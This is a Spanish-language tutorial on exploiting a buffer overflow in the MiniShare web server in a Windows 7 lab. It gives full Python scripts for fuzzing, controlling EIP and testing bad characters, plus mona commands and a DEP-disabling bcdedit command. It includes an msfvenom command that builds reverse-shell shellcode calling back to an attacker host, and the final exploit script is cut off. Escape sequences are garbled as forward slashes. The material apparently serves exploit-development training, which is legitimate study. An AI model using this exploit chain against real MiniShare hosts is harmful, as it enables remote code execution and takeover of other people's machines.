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# Desbordamiento de búfer en Windows - MiniShare
Notas de desbordamiento de búfer de MiniShare en Windows para fuzzing, control de EIP, análisis de caracteres malos, generación de shellcode y práctica de desarrollo de exploits.
Instalación del entorno para desbordamiento de búfer
1. Descarga la máquina [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dentro de la máquina, descarga el [depurador ](https://www.immunityinc.com/products/debugger/):
3. Una vez que lo hayas instalado, ejecuta el siguiente comando en la terminal:
```bash
bcdedit.exe /set {current} nx AlwaysOff
```
4. Copia esto [script ](https://www.immunityinc.com/products/debugger/)en un archivo a.py:
5. Pega el script en `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Finalmente, instala [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)
* En el depurador Immunity adjuntamos el mini share:
* Ahora procederemos con fuzzing para encontrar el número de bytes:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
def exploit():
total_length = 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
print("/n[+] Enviando %d bytes" % total_length)
s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
total_length += 100
except:
print("/n[!] Parece que el servicio se ha bloqueado/n")
print("/n[i] El servicio se bloqueó con un total de %d bytes enviados" % total_length)
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* Con el siguiente comando, tenemos 1800 octetos:
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800
```
* Estamos actualizando el script de la siguiente manera:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
payload = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A
f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al
2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0
Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8A
w9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc
7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5
Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3B
o4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu
2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] Parece que el servicio se ha bloqueado/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
/ /- Necesitamos copiar el EIP:
* Lo pegamos en el script añadiendo 0x al principio:
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```
* Nos dice que esto corresponde a 1787:
* Ahora veamos si podemos controlar el EIP:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
payload = before_eip + eip
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] Parece que el servicio se ha bloqueado/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* De hecho, logramos controlar el EIP:
\*Ahora necesitamos encontrar los Badchars:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
payload = before_eip + eip + b"C"*500
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] Parece que el servicio se ha bloqueado/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* Realizamos el monitoreo de "dump" del sistema ESP.
* Con este comando creamos el archivo bytearray:
```
!mona bytearray -cpb '/x00'
```
* Desde mi máquina atacante, creamos un servidor SMB para transferirnos el archivo:
```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```
* Lo transferimos:
* Script actualizado:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = b"B"*4
badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")
payload = before_eip + eip + badchars
def exploit():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
s.connect((ip_address, port))
s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
s.recv(1024)
s.close()
except:
print("/n[!] Parece que el servicio se ha bloqueado/n")
sys.exit(1)
if __name__ == '__main__':
exploit()
```
* Enviamos de vuelta al "dump" el contenido del sistema ESP:
* Nuestros resultados de la comparación:
```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```
* Sobrescribimos el archivo sin caracteres no deseados y lo quitamos de nuestro script:
```bash
!mona bytearray -cpb '/x00/x0d'
```
* Y si hacemos otra comparación, ya no hay más badchars:
* Usamos el `!mona modules` comando, obtenemos "false".
* Si usamos el siguiente comando, en este caso obtendremos un error indicando que no existen punteros:
```
!mona find -s '/xFF/xE4' -m minishare.exe
```
* Usamos este comando como alternativa y encontramos 44, luego seleccionamos uno que no contenga caracteres no deseados:
```
!mona findwild -s "JMP ESP"
```
* Ahora los dos puntos en el script en la variable EIP con el prefijo "0x" y todo en minúsculas:
* Ahora generemos el shellcode para hacer la reverse shell:
```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d'
```
* Script actualizado:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 80
offset = 1787
before_eip = b"A"*offset
eip = pack("
---
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